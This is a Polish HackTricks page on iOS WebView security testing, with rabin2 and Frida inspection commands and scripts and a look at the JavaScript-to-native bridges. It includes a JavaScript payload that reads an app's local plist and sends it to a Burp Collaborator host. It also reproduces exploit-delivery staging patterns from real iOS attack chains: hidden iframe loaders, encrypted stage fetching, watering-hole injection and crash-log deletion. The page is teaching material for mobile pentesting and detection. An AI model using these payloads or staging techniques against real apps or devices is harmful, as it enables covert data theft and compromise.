WebViewy iOS
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Kod tej strony został wyodrębniony z here. Sprawdź stronę po więcej szczegółów.
Typy WebViewów
WebViewy są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści webowych. Różne typy WebViewów oferują różne funkcjonalności i mechanizmy zabezpieczeń dla aplikacji iOS. Oto krótkie omówienie:
-
UIWebView, który od iOS 12 nie jest już zalecany ze względu na brak wsparcia dla wyłączania JavaScript, co czyni go podatnym na wstrzykiwanie skryptów oraz ataki Cross-Site Scripting (XSS).
-
WKWebView jest preferowaną opcją do osadzania treści webowych w aplikacjach, oferującą większą kontrolę nad zawartością i funkcjami bezpieczeństwa. JavaScript jest domyślnie włączony, ale można go wyłączyć w razie potrzeby. Obsługuje także mechanizmy zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że cała zawartość jest ładowana w sposób bezpieczny. Dodatkowo architektura WKWebView minimalizuje ryzyko, że uszkodzenie pamięci wpłynie na główny proces aplikacji.
-
SFSafariViewController zapewnia ustandaryzowane doświadczenie przeglądania web w aplikacjach, rozpoznawalne po specyficznym układzie, w tym polu adresu tylko do odczytu, przyciskach udostępniania i nawigacji oraz bezpośrednim linku do otwarcia treści w Safari. W przeciwieństwie do WKWebView, JavaScript nie może być wyłączony w SFSafariViewController, który dodatkowo dzieli cookies i dane z Safari, zachowując prywatność użytkownika względem aplikacji. Musi być wyświetlany w widoczny sposób zgodnie z wytycznymi App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Podsumowanie eksploracji konfiguracji WebViews
Przegląd analizy statycznej
W trakcie badania konfiguracji WebViews skupiono się na dwóch głównych typach: UIWebView i WKWebView. Do identyfikacji tych WebViews w binary używa się commands, przeszukując konkretne class references i initialization methods.
- Identyfikacja UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
To polecenie pomaga zlokalizować wystąpienia UIWebView poprzez wyszukiwanie w pliku binarnym ciągów tekstowych z nim związanych.
- Identyfikacja WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Podobnie, dla WKWebView, to polecenie przeszukuje plik binarny w poszukiwaniu ciągów tekstowych wskazujących na użycie tej klasy.
Aby znaleźć, w jaki sposób WKWebView jest inicjalizowany, uruchamia się następujące polecenie, które celuje w sygnaturę metody związaną z inicjalizacją tej klasy:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Weryfikacja konfiguracji JavaScript
Dla WKWebView podkreśla się, że wyłączenie JavaScript jest najlepszą praktyką, chyba że jest wymagane. Przeszukano skompilowany binarny plik, aby potwierdzić, że właściwość javaScriptEnabled jest ustawiona na false, zapewniając, że JavaScript jest wyłączony:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Weryfikacja wyłącznie bezpiecznej zawartości
WKWebView umożliwia wykrywanie problemów z mieszaną zawartością, w przeciwieństwie do UIWebView. Sprawdza się to za pomocą właściwości hasOnlySecureContent, aby upewnić się, że wszystkie zasoby strony są ładowane przez bezpieczne połączenia. Wyszukiwanie w skompilowanym pliku binarnym przeprowadza się w następujący sposób:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Wnioski z analizy dynamicznej
Analiza dynamiczna polega na przeszukiwaniu sterty w poszukiwaniu instancji WebView i ich właściwości. Do tego celu używany jest skrypt webviews_inspector.js, który celuje w instancje UIWebView, WKWebView oraz SFSafariViewController. Loguje on informacje o znalezionych instancjach, w tym adresy URL i ustawienia związane z JavaScript oraz zabezpieczoną zawartością.
Inspekcję sterty można przeprowadzić używając ObjC.choose() do zidentyfikowania instancji WebView i sprawdzenia właściwości javaScriptEnabled oraz hasonlysecurecontent.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Skrypt jest uruchamiany za pomocą:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Kluczowe rezultaty:
- Instancje WebViews zostały pomyślnie zlokalizowane i zbadane.
- Włączenie JavaScript oraz ustawienia bezpiecznej zawartości zostały zweryfikowane.
To podsumowanie zawiera kluczowe kroki i polecenia związane z analizą konfiguracji WebView przy użyciu podejść statycznych i dynamicznych, ze szczególnym uwzględnieniem funkcji bezpieczeństwa takich jak włączenie JavaScript i wykrywanie mixed content.
Obsługa protokołów WebView
Obsługa zawartości w WebViews jest istotnym elementem, szczególnie przy pracy z różnymi protokołami takimi jak http(s)://, file:// i tel://. Protokoły te umożliwiają ładowanie zarówno zdalnej, jak i lokalnej zawartości w aplikacjach. Podkreśla się, że przy ładowaniu zawartości lokalnej należy zachować środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę pliku lub ścieżkę oraz aby uniemożliwić edycję samej zawartości.
WebViews oferują różne metody ładowania zawartości. Dla UIWebView, obecnie przestarzałego, używane są metody takie jak loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. WKWebView natomiast stosuje loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: oraz loadRequest: do ładowania treści webowych. Metody takie jak pathForResource:ofType:, URLForResource:withExtension: oraz init(contentsOf:encoding:) są zazwyczaj wykorzystywane do ładowania plików lokalnych. Metoda loadFileURL:allowingReadAccessToURL: jest szczególnie istotna ze względu na możliwość załadowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawnić poufne dane, jeśli jako katalog zostanie wskazany folder.
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym binarium, można użyć poleceń takich jak poniższe:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Jeśli chodzi o dostęp do plików, UIWebView pozwala na niego powszechnie, natomiast WKWebView wprowadza ustawienia allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs do kontrolowania dostępu z URL-i plików — oba domyślnie ustawione na false.
Przykład skryptu Frida służący do inspekcji konfiguracji WKWebView pod kątem ustawień bezpieczeństwa:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Na koniec przykład payloadu JavaScript mającego na celu exfiltrating lokalnych plików pokazuje potencjalne ryzyko bezpieczeństwa związane z nieprawidłowo skonfigurowanymi WebViews. Ten payload koduje zawartość plików do formatu hex przed przesłaniem ich na serwer, co podkreśla znaczenie surowych środków bezpieczeństwa w implementacjach WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Metody natywne udostępnione przez WebViews
Zrozumienie natywnych interfejsów WebView w iOS
Od iOS 7 Apple udostępniło API do komunikacji między JavaScript w WebView a natywnymi obiektami Swift lub Objective‑C. Ta integracja jest realizowana głównie za pomocą dwóch metod:
- JSContext: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective‑C jest powiązany z identyfikatorem w
JSContext. Pozwala to na bezproblemową integrację i komunikację między JavaScript a kodem natywnym. - JSExport Protocol: Poprzez dziedziczenie po protokole
JSExportwłaściwości natywne, metody instancyjne i metody klasowe mogą być udostępnione JavaScript. Oznacza to, że wszelkie zmiany dokonane w środowisku JavaScript są odzwierciedlane w środowisku natywnym i odwrotnie. Należy jednak upewnić się, że dane wrażliwe nie zostaną przypadkowo udostępnione poprzez tę metodę.
Dostęp do JSContext w Objective-C
W Objective‑C JSContext dla UIWebView można uzyskać za pomocą następującej linii kodu:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Communication with WKWebView
W przypadku WKWebView bezpośredni dostęp do JSContext nie jest możliwy. Zamiast tego stosuje się przekazywanie wiadomości za pomocą funkcji postMessage, umożliwiając komunikację z JavaScript do natywnego kodu. Obsługiwacze tych wiadomości konfiguruje się w następujący sposób, pozwalając JavaScript bezpiecznie wchodzić w interakcję z natywną aplikacją:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interakcja i testowanie
JavaScript może wchodzić w interakcję z warstwą natywną poprzez zdefiniowanie script message handler. To umożliwia operacje takie jak wywoływanie funkcji natywnych ze strony internetowej:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można nadpisać funkcję callback w HTML:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie JavaScriptBridgeMessageHandler, gdzie wynik operacji takich jak mnożenie liczb jest przetwarzany i odsyłany z powrotem do JavaScript do wyświetlenia lub dalszej manipulacji:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
Techniki dostarczania exploitów webowych i stagingu na iOS
Poniższe wzorce zaobserwowano w rzeczywistych łańcuchach dostarczania exploitów iOS Safari/WebKit i są przydatne do analizy, wykrywania oraz kontrolowanej emulacji.
Wielostopniowy loader poprzez ukryte iframes
Powszechny wzorzec stagingu polega na ograniczaniu wykonania, aby uniknąć reinfekcji lub analizy, a następnie wstrzyknięciu ukrytego/poza ekranem iframe dla następnego etapu:
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
Minimalna strona stagingowa może wstrzyknąć główny loader za pomocą document.write():
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
Loader stages często pobierają kolejne skrypty JavaScript synchronicznie:
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
Późniejsze etapy można uruchomić w kontekście podobnym do worker, tworząc Blob URL:
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
Wymuszenie przejścia Safari na warstwę WebKit/JSC
Jeśli ofiara otworzy lure w innej przeglądarce, protocol handler może wymusić użycie Safari:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
Szyfrowane pobieranie etapów (ECDH + AES)
Niektóre loaders szyfrują exploit stages w tranzycie. Minimalny przebieg klienta to: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
Skompromitowane strony mogą załadować zdalny skrypt, który tworzy niewidoczny iframe i ogranicza go za pomocą sandbox, jednocześnie wciąż pozwalając na wykonywanie skryptów:
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Post-exploitation anti-forensics indicators (JS implants)
- Temporary staging under
/tmp/<uuid>.<digits>/with subfolders likeSTORAGE,DATA, andTMP. - Deletion of crash logs in
/var/mobile/Library/Logs/CrashReporter/(often filtered by WebKit/SpringBoard substrings). - Recursive deletion of
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.
Debugging iOS WebViews
(Samouczek oparty na tym z https://blog.vuplex.com/debugging-webviews)
Aby skutecznie debugować zawartość web w iOS webviews, wymagane jest specjalne ustawienie wykorzystujące narzędzia deweloperskie Safari, ponieważ wiadomości wysyłane do console.log() nie są wyświetlane w logach Xcode. Oto uproszczony przewodnik, z wyróżnieniem kluczowych kroków i wymagań:
-
Przygotowanie na urządzeniu iOS: Należy aktywować Safari Web Inspector na urządzeniu iOS. Zrobisz to, przechodząc do Ustawienia > Safari > Zaawansowane, i włączając Web Inspector.
-
Przygotowanie na urządzeniu macOS: Na swoim komputerze deweloperskim macOS musisz włączyć narzędzia programistyczne w Safari. Uruchom Safari, przejdź do Safari > Preferencje > Zaawansowane, i zaznacz opcję Pokaż menu Develop.
-
Połączenie i debugowanie: Po podłączeniu urządzenia iOS do komputera macOS i uruchomieniu aplikacji, użyj Safari na macOS, aby wybrać webview, które chcesz debugować. Przejdź do Develop w pasku menu Safari, najedź na nazwę urządzenia iOS, aby zobaczyć listę instancji webview, i wybierz tę, którą chcesz zbadać. Otworzy się nowe okno Safari Web Inspector.
Należy jednak pamiętać o ograniczeniach:
- Debugowanie tą metodą wymaga urządzenia macOS, ponieważ opiera się na Safari.
- Tylko webview w aplikacjach załadowanych na urządzenie przez Xcode kwalifikują się do debugowania. Webview w aplikacjach zainstalowanych przez App Store lub Apple Configurator nie mogą być debugowane w ten sposób.
References
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


